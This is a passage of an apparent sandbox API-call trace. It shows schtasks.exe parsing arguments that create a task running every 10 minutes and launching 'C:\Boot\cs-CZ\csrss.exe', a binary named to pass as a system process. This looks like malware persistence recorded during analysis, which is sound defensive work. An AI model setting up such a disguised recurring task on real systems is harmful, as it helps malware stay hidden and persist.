_BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|sc|") returned 4 [0069.182] lstrlenW (lpString="|delete|") returned 8 [0069.182] lstrlenW (lpString="|sc|") returned 4 [0069.182] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0069.182] SetLastError (dwErrCode=0x490) [0069.182] lstrlenW (lpString="query") returned 5 [0069.182] lstrlenW (lpString="query") returned 5 [0069.182] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.182] lstrlenW (lpString="sc") returned 2 [0069.182] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.182] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|query|") returned 7 [0069.182] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|sc|") returned 4 [0069.182] lstrlenW (lpString="|query|") returned 7 [0069.182] lstrlenW (lpString="|sc|") returned 4 [0069.182] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0069.182] SetLastError (dwErrCode=0x490) [0069.182] lstrlenW (lpString="change") returned 6 [0069.182] lstrlenW (lpString="change") returned 6 [0069.182] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.183] lstrlenW (lpString="sc") returned 2 [0069.183] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.183] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|change|") returned 8 [0069.183] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|sc|") returned 4 [0069.183] lstrlenW (lpString="|change|") returned 8 [0069.183] lstrlenW (lpString="|sc|") returned 4 [0069.183] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0069.183] SetLastError (dwErrCode=0x490) [0069.183] lstrlenW (lpString="run") returned 3 [0069.183] lstrlenW (lpString="run") returned 3 [0069.183] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.183] lstrlenW (lpString="sc") returned 2 [0069.183] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.183] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|run|") returned 5 [0069.183] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|sc|") returned 4 [0069.183] lstrlenW (lpString="|run|") returned 5 [0069.183] lstrlenW (lpString="|sc|") returned 4 [0069.183] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0069.183] SetLastError (dwErrCode=0x490) [0069.183] lstrlenW (lpString="end") returned 3 [0069.183] lstrlenW (lpString="end") returned 3 [0069.183] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.183] lstrlenW (lpString="sc") returned 2 [0069.183] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.183] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|end|") returned 5 [0069.183] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|sc|") returned 4 [0069.183] lstrlenW (lpString="|end|") returned 5 [0069.183] lstrlenW (lpString="|sc|") returned 4 [0069.183] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0069.183] SetLastError (dwErrCode=0x490) [0069.184] lstrlenW (lpString="showsid") returned 7 [0069.184] lstrlenW (lpString="showsid") returned 7 [0069.184] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.184] lstrlenW (lpString="sc") returned 2 [0069.184] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.184] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|showsid|") returned 9 [0069.184] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|sc|") returned 4 [0069.184] lstrlenW (lpString="|showsid|") returned 9 [0069.184] lstrlenW (lpString="|sc|") returned 4 [0069.184] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0069.184] SetLastError (dwErrCode=0x490) [0069.184] SetLastError (dwErrCode=0x490) [0069.184] SetLastError (dwErrCode=0x0) [0069.184] lstrlenW (lpString="/sc") returned 3 [0069.184] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0069.184] SetLastError (dwErrCode=0x490) [0069.184] SetLastError (dwErrCode=0x0) [0069.184] lstrlenW (lpString="/sc") returned 3 [0069.184] GetProcessHeap () returned 0x130000 [0069.184] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x8) returned 0x14c390 [0069.184] GetProcessHeap () returned 0x130000 [0069.184] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cd70 [0069.184] SetLastError (dwErrCode=0x0) [0069.184] SetLastError (dwErrCode=0x0) [0069.184] lstrlenW (lpString="MINUTE") returned 6 [0069.184] lstrlenW (lpString="-/") returned 2 [0069.184] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0069.184] SetLastError (dwErrCode=0x490) [0069.184] SetLastError (dwErrCode=0x490) [0069.184] SetLastError (dwErrCode=0x0) [0069.184] lstrlenW (lpString="MINUTE") returned 6 [0069.184] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0069.184] SetLastError (dwErrCode=0x490) [0069.184] SetLastError (dwErrCode=0x0) [0069.185] lstrlenW (lpString="MINUTE") returned 6 [0069.185] GetProcessHeap () returned 0x130000 [0069.185] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xe) returned 0x14c3b0 [0069.185] GetProcessHeap () returned 0x130000 [0069.185] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cda0 [0069.185] SetLastError (dwErrCode=0x0) [0069.185] SetLastError (dwErrCode=0x0) [0069.185] lstrlenW (lpString="/mo") returned 3 [0069.185] lstrlenW (lpString="-/") returned 2 [0069.185] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.185] lstrlenW (lpString="?") returned 1 [0069.185] lstrlenW (lpString="?") returned 1 [0069.185] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.185] lstrlenW (lpString="mo") returned 2 [0069.185] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.185] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|?|") returned 3 [0069.185] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|mo|") returned 4 [0069.185] lstrlenW (lpString="|?|") returned 3 [0069.185] lstrlenW (lpString="|mo|") returned 4 [0069.185] SetLastError (dwErrCode=0x490) [0069.185] lstrlenW (lpString="create") returned 6 [0069.185] lstrlenW (lpString="create") returned 6 [0069.185] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.185] lstrlenW (lpString="mo") returned 2 [0069.185] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.185] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|create|") returned 8 [0069.185] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|mo|") returned 4 [0069.185] lstrlenW (lpString="|create|") returned 8 [0069.185] lstrlenW (lpString="|mo|") returned 4 [0069.185] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0069.185] SetLastError (dwErrCode=0x490) [0069.186] lstrlenW (lpString="delete") returned 6 [0069.186] lstrlenW (lpString="delete") returned 6 [0069.186] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.186] lstrlenW (lpString="mo") returned 2 [0069.186] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.186] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|delete|") returned 8 [0069.186] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|mo|") returned 4 [0069.186] lstrlenW (lpString="|delete|") returned 8 [0069.186] lstrlenW (lpString="|mo|") returned 4 [0069.186] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0069.186] SetLastError (dwErrCode=0x490) [0069.186] lstrlenW (lpString="query") returned 5 [0069.186] lstrlenW (lpString="query") returned 5 [0069.186] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.186] lstrlenW (lpString="mo") returned 2 [0069.186] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.186] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|query|") returned 7 [0069.186] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|mo|") returned 4 [0069.186] lstrlenW (lpString="|query|") returned 7 [0069.186] lstrlenW (lpString="|mo|") returned 4 [0069.186] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0069.186] SetLastError (dwErrCode=0x490) [0069.186] lstrlenW (lpString="change") returned 6 [0069.186] lstrlenW (lpString="change") returned 6 [0069.186] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.186] lstrlenW (lpString="mo") returned 2 [0069.186] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.186] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|change|") returned 8 [0069.187] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|mo|") returned 4 [0069.187] lstrlenW (lpString="|change|") returned 8 [0069.187] lstrlenW (lpString="|mo|") returned 4 [0069.187] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0069.187] SetLastError (dwErrCode=0x490) [0069.187] lstrlenW (lpString="run") returned 3 [0069.187] lstrlenW (lpString="run") returned 3 [0069.187] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.187] lstrlenW (lpString="mo") returned 2 [0069.187] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.187] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|run|") returned 5 [0069.187] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|mo|") returned 4 [0069.187] lstrlenW (lpString="|run|") returned 5 [0069.187] lstrlenW (lpString="|mo|") returned 4 [0069.187] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0069.187] SetLastError (dwErrCode=0x490) [0069.187] lstrlenW (lpString="end") returned 3 [0069.187] lstrlenW (lpString="end") returned 3 [0069.187] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.187] lstrlenW (lpString="mo") returned 2 [0069.187] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.187] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|end|") returned 5 [0069.187] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|mo|") returned 4 [0069.187] lstrlenW (lpString="|end|") returned 5 [0069.187] lstrlenW (lpString="|mo|") returned 4 [0069.187] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0069.187] SetLastError (dwErrCode=0x490) [0069.187] lstrlenW (lpString="showsid") returned 7 [0069.187] lstrlenW (lpString="showsid") returned 7 [0069.187] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.187] lstrlenW (lpString="mo") returned 2 [0069.187] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.188] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|showsid|") returned 9 [0069.188] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|mo|") returned 4 [0069.188] lstrlenW (lpString="|showsid|") returned 9 [0069.188] lstrlenW (lpString="|mo|") returned 4 [0069.188] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0069.188] SetLastError (dwErrCode=0x490) [0069.188] SetLastError (dwErrCode=0x490) [0069.188] SetLastError (dwErrCode=0x0) [0069.188] lstrlenW (lpString="/mo") returned 3 [0069.188] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0069.188] SetLastError (dwErrCode=0x490) [0069.188] SetLastError (dwErrCode=0x0) [0069.188] lstrlenW (lpString="/mo") returned 3 [0069.188] GetProcessHeap () returned 0x130000 [0069.188] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x8) returned 0x14c3d0 [0069.188] GetProcessHeap () returned 0x130000 [0069.188] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cdd0 [0069.188] SetLastError (dwErrCode=0x0) [0069.188] SetLastError (dwErrCode=0x0) [0069.188] lstrlenW (lpString="10") returned 2 [0069.188] lstrlenW (lpString="-/") returned 2 [0069.188] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0069.188] SetLastError (dwErrCode=0x490) [0069.188] SetLastError (dwErrCode=0x490) [0069.188] SetLastError (dwErrCode=0x0) [0069.188] lstrlenW (lpString="10") returned 2 [0069.188] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0069.188] SetLastError (dwErrCode=0x490) [0069.188] SetLastError (dwErrCode=0x0) [0069.188] lstrlenW (lpString="10") returned 2 [0069.188] GetProcessHeap () returned 0x130000 [0069.189] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x6) returned 0x14c3f0 [0069.189] GetProcessHeap () returned 0x130000 [0069.189] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14ce00 [0069.189] SetLastError (dwErrCode=0x0) [0069.189] SetLastError (dwErrCode=0x0) [0069.189] lstrlenW (lpString="/tr") returned 3 [0069.189] lstrlenW (lpString="-/") returned 2 [0069.189] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.189] lstrlenW (lpString="?") returned 1 [0069.189] lstrlenW (lpString="?") returned 1 [0069.189] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.189] lstrlenW (lpString="tr") returned 2 [0069.189] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.189] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|?|") returned 3 [0069.189] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|tr|") returned 4 [0069.189] lstrlenW (lpString="|?|") returned 3 [0069.189] lstrlenW (lpString="|tr|") returned 4 [0069.189] SetLastError (dwErrCode=0x490) [0069.189] lstrlenW (lpString="create") returned 6 [0069.189] lstrlenW (lpString="create") returned 6 [0069.189] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.189] lstrlenW (lpString="tr") returned 2 [0069.189] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.189] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|create|") returned 8 [0069.189] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|tr|") returned 4 [0069.189] lstrlenW (lpString="|create|") returned 8 [0069.189] lstrlenW (lpString="|tr|") returned 4 [0069.190] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0069.190] SetLastError (dwErrCode=0x490) [0069.190] lstrlenW (lpString="delete") returned 6 [0069.190] lstrlenW (lpString="delete") returned 6 [0069.190] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.190] lstrlenW (lpString="tr") returned 2 [0069.190] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.190] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|delete|") returned 8 [0069.190] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|tr|") returned 4 [0069.190] lstrlenW (lpString="|delete|") returned 8 [0069.190] lstrlenW (lpString="|tr|") returned 4 [0069.190] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0069.190] SetLastError (dwErrCode=0x490) [0069.190] lstrlenW (lpString="query") returned 5 [0069.190] lstrlenW (lpString="query") returned 5 [0069.190] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.190] lstrlenW (lpString="tr") returned 2 [0069.190] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.190] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|query|") returned 7 [0069.190] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|tr|") returned 4 [0069.190] lstrlenW (lpString="|query|") returned 7 [0069.190] lstrlenW (lpString="|tr|") returned 4 [0069.190] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0069.190] SetLastError (dwErrCode=0x490) [0069.190] lstrlenW (lpString="change") returned 6 [0069.190] lstrlenW (lpString="change") returned 6 [0069.190] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.190] lstrlenW (lpString="tr") returned 2 [0069.190] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.191] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|change|") returned 8 [0069.191] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|tr|") returned 4 [0069.191] lstrlenW (lpString="|change|") returned 8 [0069.191] lstrlenW (lpString="|tr|") returned 4 [0069.191] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0069.191] SetLastError (dwErrCode=0x490) [0069.191] lstrlenW (lpString="run") returned 3 [0069.191] lstrlenW (lpString="run") returned 3 [0069.191] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.191] lstrlenW (lpString="tr") returned 2 [0069.191] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.191] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|run|") returned 5 [0069.191] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|tr|") returned 4 [0069.191] lstrlenW (lpString="|run|") returned 5 [0069.191] lstrlenW (lpString="|tr|") returned 4 [0069.191] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0069.191] SetLastError (dwErrCode=0x490) [0069.191] lstrlenW (lpString="end") returned 3 [0069.191] lstrlenW (lpString="end") returned 3 [0069.191] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.191] lstrlenW (lpString="tr") returned 2 [0069.191] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.191] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|end|") returned 5 [0069.191] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|tr|") returned 4 [0069.191] lstrlenW (lpString="|end|") returned 5 [0069.191] lstrlenW (lpString="|tr|") returned 4 [0069.191] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0069.191] SetLastError (dwErrCode=0x490) [0069.191] lstrlenW (lpString="showsid") returned 7 [0069.191] lstrlenW (lpString="showsid") returned 7 [0069.191] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.192] lstrlenW (lpString="tr") returned 2 [0069.192] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.192] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|showsid|") returned 9 [0069.192] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|tr|") returned 4 [0069.192] lstrlenW (lpString="|showsid|") returned 9 [0069.192] lstrlenW (lpString="|tr|") returned 4 [0069.192] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0069.192] SetLastError (dwErrCode=0x490) [0069.192] SetLastError (dwErrCode=0x490) [0069.192] SetLastError (dwErrCode=0x0) [0069.192] lstrlenW (lpString="/tr") returned 3 [0069.192] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0069.192] SetLastError (dwErrCode=0x490) [0069.192] SetLastError (dwErrCode=0x0) [0069.192] lstrlenW (lpString="/tr") returned 3 [0069.192] GetProcessHeap () returned 0x130000 [0069.192] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x8) returned 0x14c410 [0069.192] GetProcessHeap () returned 0x130000 [0069.192] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14ce30 [0069.192] SetLastError (dwErrCode=0x0) [0069.192] SetLastError (dwErrCode=0x0) [0069.192] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0069.192] lstrlenW (lpString="-/") returned 2 [0069.192] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0069.192] SetLastError (dwErrCode=0x490) [0069.192] SetLastError (dwErrCode=0x490) [0069.192] SetLastError (dwErrCode=0x0) [0069.192] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0069.192] StrChrIW (lpStart="'C:\\Boot\\cs-CZ\\csrss.exe'", wMatch=0x3a) returned=":\\Boot\\cs-CZ\\csrss.exe'" [0069.192] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0069.193] GetProcessHeap () returned 0x130000 [0069.193] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14c430 [0069.193] _memicmp (_Buf1=0x14c430, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.193] GetProcessHeap () returned 0x130000 [0069.193] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xe) returned 0x14c450 [0069.193] GetProcessHeap () returned 0x130000 [0069.193] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14d600 [0069.193] _memicmp (_Buf1=0x14d600, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.193] GetProcessHeap () returned 0x130000 [0069.193] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x36) returned 0x147bc0 [0069.193] SetLastError (dwErrCode=0x7a) [0069.193] SetLastError (dwErrCode=0x0) [0069.193] SetLastError (dwErrCode=0x0) [0069.193] lstrlenW (lpString="'C") returned 2 [0069.193] lstrlenW (lpString="-/") returned 2 [0069.193] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0069.193] SetLastError (dwErrCode=0x490) [0069.193] SetLastError (dwErrCode=0x490) [0069.193] SetLastError (dwErrCode=0x0) [0069.193] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0069.193] GetProcessHeap () returned 0x130000 [0069.193] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x34) returned 0x147c00 [0069.193] GetProcessHeap () returned 0x130000 [0069.193] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14ce60 [0069.193] SetLastError (dwErrCode=0x0) [0069.193] SetLastError (dwErrCode=0x0) [0069.193] lstrlenW (lpString="/rl") returned 3 [0069.193] lstrlenW (lpString="-/") returned 2 [0069.193] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.193] lstrlenW (lpString="?") returned 1 [0069.193] lstrlenW (lpString="?") returned 1 [0069.193] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.193] lstrlenW (lpString="rl") returned 2 [0069.193] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.194] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|?|") returned 3 [0069.194] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|rl|") returned 4 [0069.194] lstrlenW (lpString="|?|") returned 3 [0069.194] lstrlenW (lpString="|rl|") returned 4 [0069.194] SetLastError (dwErrCode=0x490) [0069.235] lstrlenW (lpString="create") returned 6 [0069.235] lstrlenW (lpString="create") returned 6 [0069.235] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.235] lstrlenW (lpString="rl") returned 2 [0069.235] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.235] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|create|") returned 8 [0069.235] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|rl|") returned 4 [0069.235] lstrlenW (lpString="|create|") returned 8 [0069.235] lstrlenW (lpString="|rl|") returned 4 [0069.235] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0069.235] SetLastError (dwErrCode=0x490) [0069.235] lstrlenW (lpString="delete") returned 6 [0069.235] lstrlenW (lpString="delete") returned 6 [0069.235] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.236] lstrlenW (lpString="rl") returned 2 [0069.236] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.236] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|delete|") returned 8 [0069.236] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|rl|") returned 4 [0069.236] lstrlenW (lpString="|delete|") returned 8 [0069.236] lstrlenW (lpString="|rl|") returned 4 [0069.236] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0069.236] SetLastError (dwErrCode=0x490) [0069.236] lstrlenW (lpString="query") returned 5 [0069.236] lstrlenW (lpString="query") returned 5 [0069.236] _memicmp (_Buf1=0x14c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.236] lstrlenW (lpString="rl") returned 2 [0069.236] _memicmp (_Buf1=0x14c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.236] _vsnwprintf (in: _Buffer=0x14c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|query|") returned 7 [0069.236] _vsnwprintf (in: _Buffer=0x14c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf578 | out: _Buffer="|rl|") returned 4 [0069.236] 